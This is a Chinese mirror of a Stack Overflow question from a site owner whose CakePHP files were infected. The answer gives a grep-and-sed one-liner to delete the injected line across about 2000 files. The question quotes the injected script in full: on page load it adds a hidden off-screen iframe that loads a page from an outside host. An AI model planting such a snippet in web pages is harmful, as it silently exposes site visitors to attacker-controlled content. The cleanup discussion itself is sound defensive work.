linux - 需要使用linux命令删除cakephp脚本中的病毒代码

标签 linux cakephp grep virus

昨天我的网站被黑了,它的代码如下:

<script>  
    function frmAdd() { 
        var ifrm = document.createElement('iframe'); 
        ifrm.style.position='absolute'; 
        ifrm.style.top='-999em'; 
        ifrm.style.left='-999em'; 
        ifrm.src = \"http://fenwaywest.com/media/index.php\";
        ifrm.id = 'frmId';
        document.body.appendChild(ifrm);
    };
    window.onload = frmAdd;
</script>";

当我使用以下命令搜索服务器以查找受影响的文件时

grep -r "<script>  function frmAdd()" /path/

我有超过 2000 个文件。

现在我只需要删除该行。请问,有人可以引导该命令仅删除所有 2000 个文件中的该行吗?

最佳答案

先备份!然后,你可以尝试这样的事情:

grep -lr " function frmAdd" /path/ | xargs sed -i '/ function frmAdd/d'

这将删除与该正则表达式匹配的任何行。它还假设路径不包含空格(希望这是一个合理的假设)。

关于linux - 需要使用linux命令删除cakephp脚本中的病毒代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12820020/

相关文章:

php - 用 PHP 编写套接字服务器是个好主意吗?

php - 我希望当我发送消息时出现警报

linux - 我需要从多个文件中删除一行

linux - 来自 tar.gz 的 grep 不提取 [更快的一个]

c - 如何获取指向动态库(Linux ELF)特定部分的指针?

linux - 使用 sudoers 无需密码即可运行脚本

cakephp - CAKEPHP 2.0 中管理员和用户的 session 超时不同。是否可以?

php - Cakephp 3.0 多表

perl - 在 Perl 中,如何使用 grep 实现 map ?

本地 (Windows) 和 VPS (Fedora) 上的 PHP 内存使用差异